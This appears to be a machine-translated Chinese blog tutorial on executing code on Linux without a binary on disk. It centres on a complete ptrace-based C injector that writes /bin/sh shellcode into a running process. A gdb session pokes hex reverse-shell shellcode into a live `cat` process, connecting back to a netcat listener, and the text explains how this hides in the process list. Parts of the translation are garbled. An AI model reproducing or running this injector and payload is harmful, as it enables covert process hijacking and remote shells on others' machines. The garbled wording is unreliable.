原始文章描述了如何使用机器中的现有工具解决问题。然后,在评论中,我建议使用该echo技术(或者如果您愿意,可以使用Chuck Norris 方式:)来删除远程 shell。此技术需要在运行之前将二进制文件放在磁盘中的某个位置。于是出现了以下问题:

我们可以在不先将其放入本地存储的情况下运行二进制文件吗?

关于如何运行二进制文件而不留下痕迹的研究插图

有一些可能性,但它们仅在某些特定情况下有效。下面描述的不是一个通用的解决方案,而只是针对不同情况的更多替代方案。

内存文件系统

这是最简单的选择。您可以将程序放入/run/shm或中/dev/shm。这实际上是内存,这意味着二进制文件并未开始实际保存在任何存储设备中。但是,这有一些限制。

首先,这些挂载点通常配置有noexec标志。这意味着您无法执行存储在这些文件夹中的程序:皱眉:。如果您具有 root 访问权限,那么您可以在没有该标志的情况下重新安装它们。

其次,二进制文件将在内存中。这意味着,重新启动应该清理所有内容,而不会留下任何发生的事情的痕迹。但是,当机器启动时,文件将在那里。即使我们在执行后删除它,二进制文件仍然可以恢复,只需exe从其相关/proc条目中转储文件夹:

cat /proc/PID/exe > orignal_binary

Evil 内核模块

这实际上意味着机器已经被严重破坏,并且您已经提前删除了一个文件(内核模块)。从内核空间你应该可以完全控制机器,并且能够从任何地方获取代码,将它放在内存中你想要的任何位置并运行它。

这个没试过,不知道难度。

我也不知道你是否会在现实世界中看到这个选项。如果有人入侵了一台机器以便能够删除一个内核模块,那么……你只需删除一个 rootkit 并隐藏你想要的任何东西。

但是,请注意,如果恶意软件被 rootkit 隐藏,恢复二进制文件进行分析是很简单的(只需将 HD 连接到不同的机器并从干净的系统安装磁盘)。

关于gdb

在不深入内核的情况下,(据我所知)不使用磁盘上的二进制文件(在 GNU/Linux 下)执行代码的唯一方法是使用ptrace系统调用。通过这种方式,您可以附加到任何进程(只要它没有反调试代码),用您的代码修改其文本段并在方便的地方重新开始执行。

这大致是本文中描述的内容:

我们已经看到了如何感染将代码注入二进制文件的文件,以便在下次启动受感染的程序时执行它。但是,如何感染已经在运行的进程呢?好吧,本文将介绍您需要学习的基本技术,以便在内存中摆弄其他进程……换句话说,它将向您介绍如何编写自己的调试器的基础知识。

用例

在进入血淋淋的细节之前,让我们介绍一些可能受益于能够在正在运行的程序上注入代码的情况。

第一个用例与恶意软件无关,多年来一直是研究的问题:运行时修补。有些系统无法关闭,或者换句话说,关闭它们会花费很多钱。出于这个原因,能够将补丁或更新应用于正在运行的进程(甚至无需重新启动应用程序)是几年前的一个热门问题。如今,云/VM 范式以不同的方式解决了这个问题,这种“SW 热插拔”不再那么流行了。

另一个主要的良性用例是调试器和逆向工程工具的开发。以radare2为例……您将在本文中了解其工作原理的基础知识。

其他用例显然是恶意软件的开发。病毒、后门等等……我想这里有很多我无法想象的用途。你们中的许多人可能知道的一个用例是meterpreter 进程迁移功能。该功能将您的有效负载移动到一个无辜的运行程序中。

如果您以前阅读过我的一些论文,您就会知道我将要谈论 Linux。基本概念在其他操作系统中应该非常相似,因此即使您不是 Linux 用户,我也希望这对您有所帮助。

介绍够了,让我们来看看代码

Linux 中的进程调试

从技术上讲,访问另一个进程并对其进行修改的方式是通过操作系统提供的调试接口。Linux 上的调试系统调用名为ptraceGdbradare2ddd,strace所有这些工具ptrace都是为了能够提供服务而使用的。

系统ptrace调用允许一个进程调试另一个进程。使用ptrace我们将能够停止目标进程的执行并检查其寄存器和内存的值,并将它们更改为我们想要的任何值。

有两种方法可以开始调试进程。第一个也是更直接的一个,是让我们debugger开始这个过程……forkexec。当您将程序名称作为参数传递给gdbor时,就会发生这种情况strace

我们拥有的另一个选择是将调试器动态附加到正在运行的进程。

对于本文,我们将专注于第二个。只要您对基础知识足够熟悉,就可以毫无问题地找到有关如何自己启动进程以进行调试的详细信息。

附加到正在运行的进程

为了修改正在运行的进程,我们要做的第一件事就是开始调试它。这个过程被调用attach,实际上这是gdb执行我们将在代码中看到的命令的名称:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>

#include <sys/user.h>
#include <sys/reg.h>

int
main (int argc, char *argv[])
{
  pid_t                   target;
  struct user_regs_struct regs;
  int                     syscall;
  long                    dst;

  if (argc != 2)
    {
      fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
      exit (1);
    }
  target = atoi (argv[1]);
  printf ("+ Tracing process %d\n", target);
  if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
      perror ("ptrace(ATTACH):");
      exit (1);
    }
  printf ("+ Waiting for process...\n");
  wait (NULL);

在上面的代码中,您可以看到典型的 main 函数需要一个参数。在这种情况下,参数是PID我们要修改的进程的(进程标识符)。我们将在每次ptrace调用中使用这个参数,所以我们最好将它存储在某个地方(target变量)。

然后我们只需调用ptraceusing 作为第一个参数PTRACE_ATTACH,并作为第二个参数调用pid我们想要附加到的进程的 the 。之后,我们必须调用wait等待指示SIGTRAP附加过程完成的信号。

至此,我们连接的进程就停止了,我们可以开始随意修改了。

注入代码

关于如何运行二进制文件而不留下痕迹的研究插图2

首先,我们必须决定要在哪里注入代码。有相当多的可能性:

  • 我们可以在当前正在执行的指令处插入。这是非常直接的,但它会破坏目标进程,使其无法恢复其原始功能。
  • 我们可以尝试在main函数所在的地址注入代码。那里的代码可能包含一些仅在执行开始时发生的初始化,因此我们可以保持原始功能按预期工作。
  • 另一种选择是使用一种 ELF 感染技术,并注入代码,例如,内存中的代码洞穴
  • 最后,我们可以将代码注入堆栈,作为正常的缓冲区溢出。避免破坏程序是非常安全的,但进程可能会受到不可执行堆栈的保护。

为简单起见,rip当我们控制进程时,我们将在指令指针(x86 64 位的寄存器)的位置注入代码。稍后您将看到,我们注入的代码是启动 shell 会话的典型 shellcode,因此我们不希望将控制权交还给原始进程。换句话说,我们是否破坏程序的一部分并不重要。

获取寄存器并销毁内存

这是在受控进程中注入代码的代码:

  printf ("+ Getting Registers\n");
  if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }

  printf ("+ Injecting shell code at %p\n", (void*)regs.rip);
  inject_data (target, shellcode, (void*)regs.rip, SHELLCODE_SIZE);
  regs.rip += 2;	      

我们在这段代码中发现的第一件事是调用ptracewith parameter PTRACE_GETREGS。此调用允许我们的程序从受控进程中检索寄存器的值。

之后,我们使用一个函数将我们的 shellcode 注入到目标进程中。请注意,我们正在获取regs.rip实际包含来自目标进程的当前指令指针寄存器值的值。inject_data可以想象,该函数reg.rip只是将我们的 shellcode 复制到目标进程所指向的地址中。

让我们看看如何。

int
inject_data (pid_t pid, unsigned char *src, void *dst, int len)
{
  int      i;
  uint32_t *s = (uint32_t *) src;
  uint32_t *d = (uint32_t *) dst;

  for (i = 0; i < len; i+=4, s++, d++)
    {
      if ((ptrace (PTRACE_POKETEXT, pid, d, *s)) < 0)
	{
	  perror ("ptrace(POKETEXT):");
	  return -1;
	}
    }
  return 0;
}

是不是很简单。。关于这个函数,我们只有两点需要评论:

  1. PTRACE_POKETEXT用于写入被调试进程的内存。这就是我们在目标进程中实际注入代码的方式。还有一个PTRACE_PEEKTEXT
  2. PTRACE_POKETEXT函数适用于单词,因此我们将所有内容转换为单词指针(32 位),并且我们也增加i了 4。

运行注入的代码

现在目标进程内存已被修改为包含我们想要运行的代码,我们只需将控制权交还给进程并让它继续运行。这可以通过几种不同的方式来完成。在这种情况下,我们将只是detach目标进程,即我们停止调试目标进程。此操作有效地停止调试会话并继续执行目标进程:

  printf ("+ Setting instruction pointer to %p\n", (void*)regs.rip);
  if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
      perror ("ptrace(GETREGS):");
      exit (1);
    }
  printf ("+ Run it!\n");
 
  if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
	{
	  perror ("ptrace(DETACH):");
	  exit (1);
	}
  return 0;
}

这也应该很容易理解。您可能已经注意到,我们在之前设置了寄存器detaching。好的。回到上一节,看看我们是如何注入代码的……你看到那里的那一regs.rip +=2行了吗?

是的,我们修改了指令指针,这就是为什么我们必须在目标进程上设置寄存器,然后再交还控制权。发生的情况是,PTRACE_DEATCH指令指针减去 2 个字节。

如何计算出这 2 个字节

RIP调用时减去的那 2 个字节PTRACE_DEATCH是一件很难弄清楚的事情。我会告诉你我是怎么做到的,以防你想知道。

在测试过程中,当我尝试在堆栈中注入代码时,目标程序崩溃了。一个原因是堆栈对于我的目标程序是不可执行的。我使用该execstack工具修复了该问题。但是在具有执行权限的内存区域中注入代码时也会出现问题。所以我激活了核心转储并分析了发生了什么。

原因是,您不能gdb针对目标程序运行,否则我们的第一次ptrace调用将失败。是的,你不能同时用两个调试器调试同一个程序(这句话隐藏了一个常见的反调试技术:slight_smile:)。所以,当我试图在堆栈中注入代码时,我得到的就是这个。

喷射器的输出为:

+ Tracing process 15333
+ Waiting for process...
+ Getting Registers
+ Injecting shell code at 0x7ffe9a708728
+ Setting instruction pointer to 0x7ffe9a708708
+ Run it!

当然,您系统中的所有地址和 PID 都会有所不同。无论如何,这在目标上产生了一个核心转储,我们可以打开它gdb来检查发生了什么。

$ gdb ./target core
(... gdb start up messages removed ...)
Reading symbols from ./target...(no debugging symbols found)...done.
[New LWP 15333]
Core was generated by `./target'.
Program terminated with signal SIGSEGV, Segmentation fault.
#0  0x00007ffe9a708706 in ?? ()

您在那里看到的是导致分段错误的地址。如果将其与注入器报告的地址进行比较,您可以看到 2 个字节的差异。修复这个问题和堆栈权限使注入器工作正常。

测试程序

为了测试这个概念,我编写了一个非常简单的程序。它只是打印它pid(所以我不必寻找它),然后在屏幕上写 10 次消息,在消息之间等待 2 秒。这使您有时间启动注射器。

#include <stdio.h>
#include <unistd.h>

int main()
{   
    int i;

    printf ("PID: %d\n", (int)getpid());
    for(i = 0;i < 10; ++i) {

	write (1, "Hello World\n", 12);
        sleep(2);
    }
    getchar();
    return 0;
}

我使用的 shellcode 是从这个简单的汇编文件生成的:

section .text
        global _start

_start:
        xor rax,rax
        mov rdx,rax             ; No Env
        mov rsi,rax             ; No argv
        lea rdi, [rel msg]

        add al, 0x3b

        syscall
        msg db '/bin/sh',0

更多关于gdb使用

关于如何运行二进制文件而不留下痕迹的研究插图4

对于最后一种情况,当您具有 root 访问权限时,您可以附加到正在运行的进程,对其进行修改并使其保持运行。这就是它的样子:

nc -v -l 1234 # Attacker
# Victim1
$ cat   # Target process, can be something already running

# Victim2
$ pidof cat
4637
$ sudo gdb -p 4637
Attaching to process 4637
Reading symbols from /bin/cat...(no debugging symbols found)...done.
Reading symbols from /lib/x86_64-linux-gnu/libc.so.6...Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/libc-2.15.so...done.
done.
Loaded symbols for /lib/x86_64-linux-gnu/libc.so.6
Reading symbols from /lib64/ld-linux-x86-64.so.2...Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.15.so...done.
done.
Loaded symbols for /lib64/ld-linux-x86-64.so.2
0x00007f4360138eb0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:82
82	../sysdeps/unix/syscall-template.S: No such file or directory.

(gdb)  set (int[17])*(int*)$rip = { 0xfffdb848, 0xff802dfb, 0xf748feff, 0x6a5450d0, 0x16a5829, 0x5f026a5e, 0x97050f99, 0xf21b096, 0x1ee8305, 0xb25ef779, 0xf2ab010, 0x5e529905, 0x2fb94852, 0x2f6e6962, 0x5168732f, 0x3bb05f54, 0x0000050f}
(gdb) detach
Detaching from program: /bin/cat, process 4637
(gdb) q

这一次,我用不同的命令戳数据。它更方便一点,因为我使用了rip寄存器值(已经保存了适合我们目的的地址)并转储双字而不是字节……只是另一种方式。

现在,您可以在运行的会话中按 Enter 键,并在服务器cat上获取反向 shellnetcat

在这两种情况下我们都必须按ENTER,因为cat被阻止在 aread中获取数据stdin。按下ENTER将完成系统调用并实际运行我们注入的代码……嗯,至少,这是我认为正在发生的事情(参见__read_nocancel上面的参考资料)。如果我错了,请不要犹豫,纠正我。

进程列表将只显示已经存在的cat进程。然而它不再是一个cat它现在是我们的小狗反向外壳。但是,连接将通过netstat或可见lsof

我们刚才所做的类似于meterpreter的进程迁移能力。它在 Windows 中的工作方式有点不同,但据我所知,这个概念是相同的……

作为最后的评论,如果存在可用于目标机器的漏洞利用,则可以执行所有这些操作。在这种情况下,exploit payload 可能已经是远程 shell 或加载程序(meterpreter 方式),它们可以分配内存并加载通过活动连接传输的代码。